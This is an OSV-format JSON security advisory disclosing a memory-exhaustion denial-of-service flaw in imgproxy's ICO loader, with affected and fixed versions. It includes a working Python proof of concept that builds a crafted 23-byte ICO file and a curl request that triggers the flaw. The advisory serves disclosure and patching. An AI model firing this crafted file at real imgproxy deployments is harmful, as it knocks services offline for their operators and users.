Files
vuln-osv/data/Go/GHSA-mmq5-xm89-9pfg.json
T

1 line
3.9 KiB
JSON

{"schema_version":"1.9.2","id":"GHSA-mmq5-xm89-9pfg","published":"2026-10-30T22:55:49Z","modified":"2026-11-08T10:56:06.969623324Z","aliases":["CVE-2026-123616","GO-2026-6898"],"summary":"imgproxy has unbounded memory allocation in ICO loader that allows unauthenticated memory-exhaustion DoS via crafted data_size field","details":"### Summary\n\nUnbounded and unvalidated memory allocation in imgproxy's ICO loader (`vips/icoload.c`). An attacker-controlled `data_size` field (u32) from the ICO directory entry is passed directly to `VIPS_MALLOC` without any bounds check, so a single crafted 23-byte ICO file makes an imgproxy worker attempt a ~4GB allocation. Present in the latest release (v4.0.15) and the 3.3.x series; confirmed on a live production deployment of imgproxy v4.0.15.\n\n### Details\n\nIn `vips_foreign_load_ico_header` in `vips/icoload.c`, the selected directory entry's `data_size` is read and used directly for the allocation:\n\n```\nuint32_t data_size = GUINT32_FROM_LE(largest_image_header.data_size);\n\n// BMP file explicitly excludes BITMAPFILEHEADER, so we need to add it manually.\nVipsPel *data = (VipsPel *) VIPS_MALLOC(NULL, data_size + BMP_FILE_HEADER_LEN);\n```\n\nThere is no validation that `data_size` is sane nor any check that the file actually contains `data_size` bytes at the declared `data_offset`. A crafted 23-byte ICO whose directory entry declares `data_size = 0xfa000068` (~4GB) drives `VIPS_MALLOC(NULL, ~4GB + 14)`.\n\n### PoC\n\n```py\n# make_ico_4gb.py — generates the exact 23-byte unbounded-allocation trigger.\n# Byte-identical to the checksummed, production-verified file:\n# ico-4gb.ico sha256 6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b\nimport struct, hashlib\n\nhdr = struct.pack('<HHH', 0, 1, 1) # reserved, type=ICO, count=1\nentry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 0xfa000068, 0x16)\ndata = b'\\x00'\nblob = hdr + entry + data\nassert hashlib.sha256(blob).hexdigest() == \\\n '6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b'\nopen('ico-4gb.ico', 'wb').write(blob)\nprint(f\"ico-4gb.ico: {len(blob)} bytes [VERIFIED]\")\n```\n\n```\n# imgproxy v4.0.15 with local file sources enabled:\n# IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy\ncurl \"http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-4gb.ico@png\"\n# → outcome depends on host memory: on a memory-constrained pod the worker\n# OOM-dies; on a larger host the ~4GB allocation succeeds transiently and\n# decode fails -> HTTP 500 (worker survives, but each request burns ~4GB\n# transiently — repeatable memory exhaustion).\n```\n\n### Impact\n\nUnauthenticated network DoS / memory-exhaustion: on memory-constrained workers, a crash per crafted request. On larger hosts, ~4GB transient allocation per request (sustained firing exhausts memory or the allocation budget). Any imgproxy deployment that processes attacker-supplied images.","affected":[{"package":{"name":"github.com/imgproxy/imgproxy/v3","ecosystem":"Go","purl":"pkg:golang/github.com/imgproxy/imgproxy/v3"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.3.0"},{"fixed":"4.0.16"}]}],"database_specific":{"last_known_affected_version_range":"<= 4.0.15","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-mmq5-xm89-9pfg/GHSA-mmq5-xm89-9pfg.json"}}],"references":[{"type":"WEB","url":"https://github.com/imgproxy/imgproxy/security/advisories/GHSA-mmq5-xm89-9pfg"},{"type":"WEB","url":"https://github.com/imgproxy/imgproxy/commit/a821b6a4cb07a1bf2bb9077431d1c1e734d79917"},{"type":"PACKAGE","url":"https://github.com/imgproxy/imgproxy"},{"type":"WEB","url":"https://github.com/imgproxy/imgproxy/releases/tag/v4.0.16"}],"database_specific":{"cwe_ids":["CWE-400"],"github_reviewed":true,"github_reviewed_at":"2026-10-30T22:55:49Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}